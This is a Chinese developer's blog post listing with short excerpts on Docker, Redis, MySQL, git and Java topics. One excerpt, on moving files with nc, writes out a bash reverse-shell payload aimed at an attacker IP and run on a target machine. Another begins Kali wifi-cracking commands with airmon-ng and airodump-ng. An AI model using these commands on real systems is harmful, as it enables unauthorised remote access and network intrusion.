- 博客(56)
- 收藏
- 关注
原创 docker构建指定架构镜像
通过这种方式生成的包,需要使用docker import 的方式来导入docker buildx create --use --name m1_builderdocker buildx inspect --bootstrapdocker buildx build --platform linux/amd64 -t system:v1 --output type=tar,dest=s...
2022-05-01 01:19:00
137
原创 通过nc传送文件
在攻击机上定义payloadvi payload#!/bin/bashbash -i >& /dev/tcp/攻击机ip/4444 0>&1启动监听sudo nc -lvvp 4444<payload在靶机上发起nc请求nc 攻击机ip 4444>a在靶机上执行bash a...
2022-04-21 18:13:00
88
原创 kali暴力破解wifi密码
1.更改网卡为监听模式sudo airmon-ng start wlan02.监听网卡sudo airodump-ng wlan0monBSSID AP端的mac地址PWR 信号强度(绝对值越小,信号越强)Data 对应路由器的在线数据吞吐量,数值越大,数值上传量越大CH 对应路由的频道ESSID 对应...
2022-04-17 03:47:22
272
原创 一句话命令使用python3搭建下载服务器
http 协议python3 -m http.server 80ftp 协议python3 -m pyftpdlib -p 21
2022-01-05 15:09:00
79
原创 搭建ORACLE_JDK8基础镜像
下载oraclejdk8进入oracle下载目录:https://www.oracle.com/java/technologies/downloads/选择我们需要的版本,我们镜像默认使用的是ARM64的centos,所以这里选择jdk-8u311-linux-x64.tar.gz,这边需要我们登陆一下oracle.这里我们用邮箱注册一下就好了.下载完成后,以下为我的目录结构...
2022-01-03 22:12:00
184
原创 中间件上云流程
下载基础镜像docker pull nginx查看镜像docker images打包镜像# -o 或 > 指定输出镜像文件的包名nginx.tar nginx 镜像名docker save -o nginx.tar nginx 或 docker save > nginx.tar nginx上传云服务器(略)解压镜像docker load ...
2021-12-30 12:24:00
54
原创 mac手机共享wife却无法联网解决办法
删除配置记录,然后重启vim rm_wifeconfig.shsudo rm -rf /Library/Preferences/SystemConfiguration/NetworkInterfaces.plist \ /Library/Preferences/SystemConfiguration/preferences.plist \ /Library/Prefer...
2020-06-03 14:27:00
125
原创 mysql 分区建表
-- 按日分区CREATE TABLE `table_name` ( datadate DATETIME DEFAULT NULL ) ENGINE = INNODB PARTITION BY RANGE (to_days(`datadate`)) ( PARTITION p0 VALUES less than (to_days('2019-01-01')), PARTITION ...
2020-05-29 11:51:00
82
原创 Docker下安装ElasticSearch和Kibana
ElasticSearch安装docker安装esdocker pull elasticsearch:7.2.0启动esdocker run --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -d elasticsearch:7.2.0修改配置,解决跨域访问问题首...
2020-03-31 00:48:00
48
原创 关于maven使用阿里源无法生效问题
原因: 由于阿里仓库地址更新成https后,下载需要使用ssl认证,如果本地没有配置的话,导致依然使用的是默认仓库.在setting.xml中新增阿里的配置<mirror> <id>aliyunmavencentral</id> <mirrorOf>*</mirrorOf> <name&...
2020-03-30 20:33:00
169
原创 go语言生成其他平台的可执行文件
- Mac 平台下生成windows和linux# windowsCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build# linuxCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build- windows 下生成Mac和linux(在cmd命令窗口)# linuxSET CGO_ENABLED=0 ...
2020-03-12 20:37:00
57
原创 正则匹配
符号 解释 示例 说明 .匹配任意字符b.t可以匹配bat / but / b#t / b1t等\w匹配字母/数字/下划线b\wt可以匹配bat / b1t / b_t等 但不能匹配b#t\s匹配...
2019-12-20 15:41:00
54
原创 文件和异常
在实际开发中,常常需要对程序中的数据进行持久化操作,而实现数据持久化最直接简单的方式就是将数据保存到文件中。在Python中实现文件的读写操作其实非常简单,通过Python内置的open函数,我们可以指定文件名、操作模式、编码信息等来获得操作文件的对象,接下来就可以对文件进行读写操作了。这里所说的操作模式是指要打开什么样的文件(字符文件还是二进制文件)以及做什么样的操作(读、写还是追加),具...
2019-12-20 14:17:00
29
原创 es在数据量很大的情况下(数十亿级别)如何提高查询效率啊?
面试题es 在数据量很大的情况下(数十亿级别)如何提高查询效率啊?面试官心理分析这个问题是肯定要问的,说白了,就是看你有没有实际干过 es,因为啥?其实 es 性能并没有你想象中那么好的。很多时候数据量大了,特别是有几亿条数据的时候,可能你会懵逼的发现,跑个搜索怎么一下 510s,坑爹了。第一次搜索的时候,是510s,后面反而就快了,可能就几百毫秒。你就很懵,每个用户第一次访问都会比较慢...
2019-10-22 16:58:00
32
原创 Java线程方法含义
wait(time)和sleep(time)的区别wait():在synchronized代码块中执行,调用wait方法,会让出cpu调度,同时释放锁sleep():调用sleep方法,会让出cpu调度,但不会释放锁notify()和notifyAll()的区别notify():会随机唤醒一个在等待池中的线程,让其加入锁池去争夺锁权限notifyAll():会唤醒所有等待池线程,...
2019-09-27 16:50:00
36
原创 redis持久化模式
RDB(快照模式)优点:全量数据快照,文件小,恢复快缺点:无法保存最近一次快照之后的数据AOF(Append-Only-File)追加模式优点:可读性高,适合保存增量数据,数据不易丢失缺点:文件体积大,恢复时间长RDB-AOF混合模式先使用RDB保存全量数据,再使用AOP写入增量数据,保证了数据恢复快,文件小...
2019-09-24 10:33:00
34
原创 为什么redis很快?
完全基于内存,绝大部分请求是纯粹的内存操作,执行效率高(采用单线程,单进程模型的K-V数据库,由C语言编写,将数据储存在内存中,读写时不会受到硬盘IO的限制)数据结构简单,对数据操作也简单(不使用表,不会进行数据之间的强制关联,存储结构为键值对,与hashMap类型,查找时间复杂度为O(1))采用单线程,单线程也能处理高并发请求,多核也可以启动多实例(将IO线程与业务线程分离,业务线程使用...
2019-09-23 22:53:00
27
原创 git使用脚本
设置用户名和邮箱- git config --global user.name lisongyu- git config --global user.email li.songyu@qq.com生成本地秘钥(全部回车)ssh-keygen.exe -t rsa -C "li.songyu@qq.com"查看生成的公钥cat ~/.ssh/id_rsa.pub在远程仓...
2019-09-11 16:15:00
38
原创 docker启动elasticsearch5.5.2报错
[root@lisongyu ~]# docker run -p 9200:9200 hub.c.163.com/library/elasticsearch:5.5.2OpenJDK 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000085330000, 2060255232, 0) failed; error='Cannot...
2019-08-28 22:41:00
35
原创 docker 常用命令
查询运行的docker容器docker ps | grep xxxx查看运行日志docker logs -f xxxxx (xxx为容器id)进入运行的容器内部docker exec -it xxxxx bash (xxx为容器id)查看所有镜像docker images停止容器docker stop xxxxx (xxx为容器id)...
2019-08-20 15:37:00
30
原创 git学习
https://learngitbranching.js.org/git initgit add README.mdgit commit -m "first commit"git branch -M maingit remote add origin git@github.com:lisyfun/uric-web.gitgit push -u origin main
2019-05-21 16:34:00
33
原创 mysql删除库中所有表数据
查询库中所有的表SELECT CONCAT('TRUNCATE TABLE ',table_name,';') FROM information_schema.tables WHERE table_schema='database_name' ; -- database_name为要删除的库生成的语句复制到粘贴板复制,执行...
2019-05-08 10:56:00
31
原创 TCP的三次握手和TCP的四次挥手
TCP三次握手:"握手"是为了建立连接第一次握手:建立连接时,客户端发送SYN包(seq=x)到服务端,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到SYN包,必须确认客户的SYN(ack=x+1),同时自己也发送一个SYN包(seq=y),即SYN+ACK包,此时服务器进入SYN_RECV状态;第三次握手:客户端收到服务端的SYN+ACK包,向服务端发...
2019-05-02 22:24:00
33
原创 python解析日志,获取想要的数据
由于老大需要对日志进行解析,获取到相应桩的信息,所以我写了个专门的解析脚本,就是执行的时间有点长,如果用java的话应该可以快2/3.练一下python.在该脚本中遇到的问题就是des解密的时候有一个固定8位的key.当时使用32位的长key,每次都报错,后来发现可以先使用8位空key设置,再setKey(KEY)为32位的.解析截取到的数据时,看似json格式,其实并不是,所以单写了个解...
2019-04-30 15:34:00
43
原创 进行大文件的分片操作(split),合并(cat/copy)
进行大文件的分片操作(split),合并(cat/copy)由于工作的需要,当我们的系统产生了超过内存的日志文件时,当我们使用工具对文件进行读取数据时,会直接报异常,无法进行读取.所以我们要前置的对文件进行分片操作.split(linux命令)在windows中最好前置下载个cmder进行操作.进入cmder,切换到需要分割的文件地址可以看到这个文件有1.8g;这个文件如果要直接使...
2019-04-30 15:15:00
100
原创 在windows中使用类似linux的终端---cmder
在windows中使用类似linux的终端---cmder作为一名程序员,很多时候都要远程连接服务器进行工作.但是作为一名windows工作者.很多远程命令都无法使用自带的cmd进行操作,后来我找到了cmder.轻巧,算是这个最大的优点.但我还是喜欢全一点的.该工具集成了很多好用的liunx命令,可以让我更好的完成远程操作....
2019-04-30 14:35:00
57
原创 spring启动容器加载成功后执行调用方法
需求: 由于在微服务架构中各服务之间都是通过接口调用来进行交互的,像很多的基础服务,类似字典信息其实并不需每次需要的时候再去请求接口.所以我的想法是每次启动项目的时候,容器初始化完成,就去调用一下基础服务的接口.通过一个本地map来缓存需要的数据.当我需要使用的时候直接从本地缓存中取.下面是具体的代码实现.在启动类中实现ApplicationListener 接口,重写onApplicati...
2019-04-29 15:09:00
36
原创 使用lambda表达式对相同属性的实体进行合并
List<CrmAuthorizedInfo> crmAuthorizedInfos = flowPlanInfoMapper.findAllByEncode(stationForm.getOperatorId(), stationIds);首先的我数据在很多的属性上都是相同的.crmAuthorizedInfos.parallelStrea...
2019-04-29 14:54:00
60
原创 java返回json格式自定义
使用注解@JsonSerialize(using = CustomPriceSerialize.class)创建自定义的格式化类(可为内部类)/** * 设置默认返回的小数类型(0.01 元) */class CustomPriceSerialize extends JsonSerializer<BigDecimal> { private DecimalFo...
2019-04-29 14:30:00
36
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人